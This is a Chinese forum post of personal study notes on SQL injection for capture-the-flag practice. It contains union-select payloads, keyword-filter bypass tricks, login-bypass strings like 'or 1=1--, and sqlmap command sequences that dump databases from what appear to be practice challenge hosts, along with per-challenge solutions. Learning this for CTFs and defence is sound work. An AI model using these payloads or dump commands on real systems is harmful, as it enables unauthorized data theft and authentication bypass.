首页
论坛
课程
招聘
[原创]个人整理sqlmap注入相关的知识要点
2020-9-16 00:12 492

[原创]个人整理sqlmap注入相关的知识要点

2020-9-16 00:12
492

概述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
目前sql注入主要有以下几点:
1、首先通过sqlmap跑一下,目前接触到的无非是get、post、cookie、base64
2、在跑的时候注意,cookie需要直接用链接,不要用抓包,还有就是题目中有可能没有提示cookie跑,但是需要个人去猜;
3、手工猜解注意以下几点:
    x-forward-for
    x-forwarded-for
    referer
    cookie
 
    先判断注入点,如果是get注入,先判断是否有注入,手工即可,所有的注入点都判断完了再上burp进行包注入
    1 order by 判断列数
    1 union select 1,2,3,4
    获取所有的表名:
    1 union select 1,2,3,group_concat(table_name)  from information_schema.tables where table_schema = database()
    获取字段名
    1 union select 1,2,3,group_concat(COLUMN_NAME)  from information_schema.columns where table_schema = database()  and table_name='key_05'
    获取数据:
    1 union select 1,2,3,thekey from key_05
 
    过滤
    1 oorrder by 5
    1 ununionion sselectelect 1,2,3,group_concat(table_name)  from infoorrmation_schema.tables where table_schema = database()
    1 ununionion sselectelect 1,2,3 ,group_concat(COLUMN_NAME)  from infoorrmation_schema.columns where table_schema = database()  anandd table_name='key_the1'
    1 ununionion sselectelect 1,2,3,the_key from key_05
 
    字符串的替换的绕过可以双写,and or union select 等关键字可以进行双写绕过
 
    如果数据中使用了base64位加密,比如2次加密,可以加上 -tamper base64encode,base64encode进行sqlmap爆破
 
1、过滤关键字
    过滤关键字应该是最常见的过滤了,因为只要把关键字一过滤,你的注入语句基本就不起作用了。
    绕过方法:
    1)最常用的绕过方法就是用/**/,<>,分割关键字
        sel<>ect
        sel/**/ect
    2)根据过滤程度,有时候还可以用双写绕过
        selselectect
    3)既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的。
    4)有时候还可以使用编码绕过
        url编码绕过
        16进制编码绕过
        ASCII编码绕过
    5)关键词and,or常被用做简单测试网站是否容存在注入。
        过滤注入:
        1 or 1 = 1    1 and 1 = 1
        绕过注入:
        1 || 1 = 1    1 && 1 = 1
    6)过滤注入:
        union select user,password from users
        绕过注入:
        1 || (select  user  from  users  where  user_id = 1)='admin'
        || 管道符后边的意思就是,从users表中查找 user_id = 1 的 user 数据是不是 admin
2、过滤逗号
    常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。
    绕过方法:
    1)简单注入可以使用join方法绕过
        原语句:
        union select 1,2,3
        join语句:
        union select * from (select 1)a join (select 2)b join (select 3)
    2)对于盲注的那几个函数substr(),mid(),limit
         substr和mid()可以使用from for的方法解决
        substr(str from pos for len) //str中从第pos位截取len长的字符
        mid(str from pos for len)//str中从第pos位截取len长的字符   
        limit可以用offset的方法绕过   
        limit 1 offset 1   
        使用substring函数也可以绕过
        substring(str from pos) //返回字符串str的第pos个字符,索引从1开始
3、过滤空格
    空格被过滤有以下几种方法绕过:
    1)双空格
    2/**/
    3)用括号绕过
    4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a
 
4、过滤等号
    如果等号被过滤了我们可以用 like 代替
 
5、过滤大于小于号
    盲注中我们经常需要用到比较符,如果他们被过滤了,我们可以用以下几种方法绕过:
 
    1)greatest(n1,n2,n3,...)        //返回其中的最大值
    2)strcmp(str1,str2)        //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
    3in 操作符
    4)between   and        //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
6、曝出数据库版本
    select count(*),(concat(floor(rand()*2),(select version())))x from users group by x

打开sqlmap

1
2
3
cd E:\CTF\CTFTOOLS\4、web-sql漏洞\3、sqlmap注入
e:
python sqlmap.py -u "" --batch

sqlmap基础注入

1
2
3
4
5
6
7
8
9
10
判断有无注入
python sqlmap.py -u "http://172.16.6.139/list.php?id=1" --batch
注入数据库
python sqlmap.py -u "http://58.213.153.14:1020/stage/6/get_info.php?title=paodingjieniu" --dbs --batch
注入表
python sqlmap.py -u "http://58.213.153.14:1010/sqlzhuru/stage/1/get_info.php?title=xiaoshiniudao&id=1" -D inject_xiaoshiniudao --tables --batch
注入字段
python sqlmap.py -u "http://58.213.153.14:1010/sqlzhuru/stage/1/get_info.php?title=xiaoshiniudao&id=1" -D inject_xiaoshiniudao -T key_the1 --columns --batch
注入内容
python sqlmap.py -u "http://58.213.153.14:1010/sqlzhuru/stage/1/get_info.php?title=xiaoshiniudao&id=1" -D inject_xiaoshiniudao -T key_the1 -C “id,thekey” --dump --batch

sqlmapPOST注入

1
2
3
4
5
6
7
8
9
10
11
12
13
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0&name=werner" --batch
或者
首先使用burpsuite抓包,抓包之后把包数据保存到文档中,此处为1.txt
判断有无注入
python sqlmap.py  -r C:\Users\qit\Desktop\sqlmap使用\1.txt  --batch
注入数据库
python sqlmap.py  -r C:\Users\qit\Desktop\sqlmap使用\1.txt  --dbs --batch
注入表
python sqlmap.py  -r C:\Users\qit\Desktop\sqlmap使用\1.txt  -D inject_xiaoshiniudao --tables --batch
注入字段
python sqlmap.py  -r C:\Users\qit\Desktop\sqlmap使用\1.txt  -D inject_xiaoshiniudao -T key_the1 --columns --batch
注入内容
python sqlmap.py -r C:\Users\qit\Desktop\sqlmap使用\1.txt -D inject_xiaoshiniudao  -T key_the1 -C “id,thekey” --dump --batch

sqlmap注入 base64

1
2
3
4
5
6
7
8
9
10
11
12
13
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0&name=werner" --batch
或者
首先使用burpsuite抓包,抓包之后把包数据保存到文档中,此处为1.txt
判断有无注入
python sqlmap.py  -r C:\Users\qit\Desktop\sqlmap使用\1.txt -tamper base64encode,base64encode --batch
注入数据库
python sqlmap.py  -r C:\Users\qit\Desktop\sqlmap使用\1.txt -tamper base64encode,base64encode --dbs --batch
注入表
python sqlmap.py  -r C:\Users\qit\Desktop\sqlmap使用\1.txt -tamper base64encode,base64encode  -D inject_paodingjieniu2 --tables --batch
注入字段
python sqlmap.py  -r C:\Users\qit\Desktop\sqlmap使用\1.txt -tamper base64encode,base64encode  -D inject_paodingjieniu2 -T key_the1 --columns --batch
注入内容
python sqlmap.py -r C:\Users\qit\Desktop\sqlmap使用\1.txt -tamper base64encode,base64encode -D inject_paodingjieniu2  -T key_the1 -C “id,thekey” --dump --batch

sqlmap cookies注入

1
2
3
4
5
6
7
8
9
10
11
可以在文件中cookie的位置加上*,比如Cookie: id=1*;
判断有无注入
python sqlmap.py -u "http://58.213.153.14:1020/stage/6/get_info.php?title=paodingjieniu" --cookie "id=1" -level 2   --batch
注入数据库
python sqlmap.py -u "http://58.213.153.14:1020/stage/6/get_info.php?title=paodingjieniu" --cookie "id=1" -level 2 --dbs --batch
注入表
python sqlmap.py -u "http://58.213.153.14:1010/sqlzhuru/stage/3/get_info.php?id=1" --cookie "id=1" -level 2   -D inject_xiaoshiniudao  --tables --batch
注入字段
python sqlmap.py -u "http://58.213.153.14:1010/sqlzhuru/stage/8/get_info.php?id=1" --cookie "id=1" -level 2   -D inject_xiaoshiniudao  -T key_the1 --columns --batch
注入内容
python sqlmap.py -u "http://58.213.153.14:1010/sqlzhuru/stage/8/get_info.php?id=1" --cookie "id=1" -level 2   -D inject_xiaoshiniudao  -T key_the1  -C “id,thekey” --dump --batch

sqlmapPOST盲注

1
2
3
4
5
6
7
8
9
10
11
首先使用burpsuite抓包,抓包之后把包数据保存到文档中,此处为1.txt ,在参数后面添加*
判断有无注入
python sqlmap.py  -r C:\Users\qit\Desktop\sqlmap使用\1.txt  --batch
注入数据库
python sqlmap.py  -r C:\Users\qit\Desktop\sqlmap使用\1.txt  --dbs --batch
注入表
python sqlmap.py  -r C:\Users\qit\Desktop\sqlmap使用\1.txt  -D inject_paodingjieniu2 --tables --batch
注入字段
python sqlmap.py  -r C:\Users\qit\Desktop\sqlmap使用\1.txt  -D inject_paodingjieniu2 -T key_the1 --columns --batch
注入内容
python sqlmap.py -r C:\Users\qit\Desktop\sqlmap使用\1.txt -D inject_paodingjieniu2  -T key_the1 -C “id,thekey” --dump --batch

sqlmap万能密码注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行SQL语句。针对此BBS论坛,当用户登录时,后台执行的数据库查询操作(SQL语句)是【Selectuser id,user type,email From users Where user id=’用户名’ And password=’密码’】,由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名【admin】和万能密码【2or1】时,执行的SQL语句为【Select user id,user type,email From users Whereuser id=’ admin’ And password=2’or1】。同时,由于SQL语句中逻辑运算符具有优先级,【=】 优先于【and】,【and】 优先于【or】,且适用传递性。因此,此SQL语句在后台解析时,分成两句【Select user id,user type,emall From users Where user id=’ admin Andpassword=2’ 】和【’1’ 】 两句bool值进行逻辑on运算,恒为TRUE。SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。
 
一、几年前的万能密码(和实验吧里的万能密码的逻辑很像)
 
    在用户名处输入'or 1=1-- 或者 'or 1=1 #而密码随便输入个456呢? 我们来看看数据库中的查询语句:
        select id from users where username = '' or 1=1--  and password = '456'
    这里呢1=1永远为真,后面 and password = '456'被注释掉了。数据库不需要考虑,这里我们就跳过了验证。这是几年前的万能密码.
 
二、整型参数的判断
    SQL注入一般存在于形如:
    HTTP://www.xxx.xxx/text.asp?id=XX
    这种带有参数的asp或者动态网页中,注入又分为整形注入和字符串注入。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。下以HTTP://www.xxx.xxx/test.asp?p=xx为例进行分析,xx此处设为整型。当输入的参数xx为整型时,通常test.asp中SQL语句原貌大致如下:
    select * from 表名 where 字段=xx
    所以可以用以下步骤测试SQL注入是否存在。
    ①HTTP://www.xxx.xxx/text.asp?p=xx’(附加一个单引号)此时abc.ASP中的SQL语句变成了
    select * from 表名 where 字段=YY’
 
    数据库无法处理,返回异常;
    ②HTTP://www.xxx.xxx/test.asp?p=xx and 1=11=1为真 test.asp运行正常,而且与没加语句之前的test.asp?p=xx运行结果一样正常显示;
    ③HTTP://www.xxx.xxx/test.asp?p=YY and 1=2,语句为假,因为12  test.asp运行异常;如果以上三步全面满足,test.asp中一定存在SQL注入漏洞。
 
    小技巧:有时管理员会在后台设置过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种试一试。
     大小定混合法:VBS并不区分大小写,而网站程序可能区分。然后程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
        UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息可以参加百度;
        ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见百度。
    猜解内容
 
    如明小子、ID类软件的工作原理:
        猜解表名: and exists (select * from 表名)
        猜解列名: and exists (select 字段 from
        爆指定表名内容: and 1=1 union select 1,2,3,4,5 from 表名
        猜解列长度 猜解语句: and (select top 1 len(列名)from 表名)>N and (select top 1 len(列名)from 表名)=N 其中N是数字
    变换这个N的值猜解列长度,
    例如: and (select top 1 len(列名)from 表名)>1 and (select top 1 len(列名)from 表名)>6
    如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7

解题大全:
1010第一题
http://58.213.153.14:1010/sqlzhuru/stage/1/get_info.php?title=xiaoshiniudao&id=1
sqlmap直接跑
1010第二题
http://58.213.153.14:1010/sqlzhuru/stage/2/get_info.php
通过burp抓包,保存到1.txt中,然后运行sqlmap跑
1010第三题
http://58.213.153.14:1010/sqlzhuru/stage/3/get_info.php?id=1
先通过sqlmap跑,如果跑不出来,抓包查看cookie是否有值,如果有值,就开始跑cookie
1011第四题
万能密码
1' or '1'
1010第五题
盲注
http://58.213.153.14:1010/sqlzhuru/stage/5/get_info.php?title=xiaoshiniudao&order=id
直接sqlmap跑
其实做注入题二话不说直接sqlmap跑,跑不出来在手工进行注
1010第七题
遇到base64加密的,先判断几次加密,把编码拿到解码工具跑一下
然后burpsuite抓包,复制包数据,放到txt,通过sqlmap跑
http://58.213.153.14:1010/sqlzhuru/stage/7/get_info.php
1010第八题
先sqlmap跑,边跑边抓包,抓包之后观察有没有cookie注入点,如果是get并且没有跑出来,可以尝试加入cookie注入点
http://58.213.153.14:1010/sqlzhuru/stage/8/get_info.php?id=1
python sqlmap.py -u "http://58.213.153.14:1010/sqlzhuru/stage/8/get_info.php?id=1" --cookie "id=1" -level 2 --dbs --batch
1000第17题
先sqlmap跑,没跑出来
1 order by 5.4
试出来总共4列
1 union select 1,2,3,group_concat(table_name) from information_schema.tables where tabae_schema = database()
查找出表的名字
1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='XXX'
查找出列
1 union select 1,2,3,thekey from XXX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
100018
    http://58.213.153.14:1000/stage/18/get_info.php?id=1
    get型,sqlmap没有跑出来
    手工 order by 发现有过滤
    1 oorrder by 5
    1 ununionion sselectelect 1,2,3,group_concat(table_name)  from infoorrmation_schema.tables where table_schema = database()
    1 ununionion sselectelect 1,2,3 ,group_concat(COLUMN_NAME)  from infoorrmation_schema.columns where table_schema = database()  anandd table_name='key_the1'
    1 ununionion sselectelect 1,2,3,the_key from key_05
1020第五题
    http://58.213.153.14:1020/stage/5/get_info.php?title=xiaoshiniudao&id=1
    直接上sqlmap跑
    python sqlmap.py -u "http://58.213.153.14:1020/stage/5/get_info.php?title=xiaoshiniudao&id=1" --dbs --batch
1020第六题
    http://58.213.153.14:1020/stage/6/get_info.php?title=paodingjieniu
    先用sqlmap跑一下,无结果,手工加入id进行注入不通过,
    cookie加入id=1不存在
    x-forwarded-for127.0.0.1  加入id=1不存在
    x-forward-for127.0.0.1 order by 999 存在
    referer加入
    之后按照正常手工爆破走
    获取所有的表名:
    1 union select 1,2,3,group_concat(table_name)  from information_schema.tables where table_schema = database()
    获取字段名
    1 union select 1,2,3,group_concat(COLUMN_NAME)  from information_schema.columns where table_schema = database()  and table_name='key_the1'
    获取数据:
    1 union select 1,2,3,the_key from key_the1

[公告]请完善个人简历信息,好工作来找你!

收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 681
活跃值: 活跃值 (165)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lucktiger 活跃值 2020-9-16 08:38
2
0
谢谢分享。
雪    币: 8
活跃值: 活跃值 (33)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
__樵夫__ 活跃值 2020-9-16 20:52
3
0
lucktiger 谢谢分享。
大家共同学习
雪    币: 8
活跃值: 活跃值 (33)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
__樵夫__ 活跃值 2020-9-16 20:55
4
0
我自己顶一下吧
游客
登录 | 注册 方可回帖
返回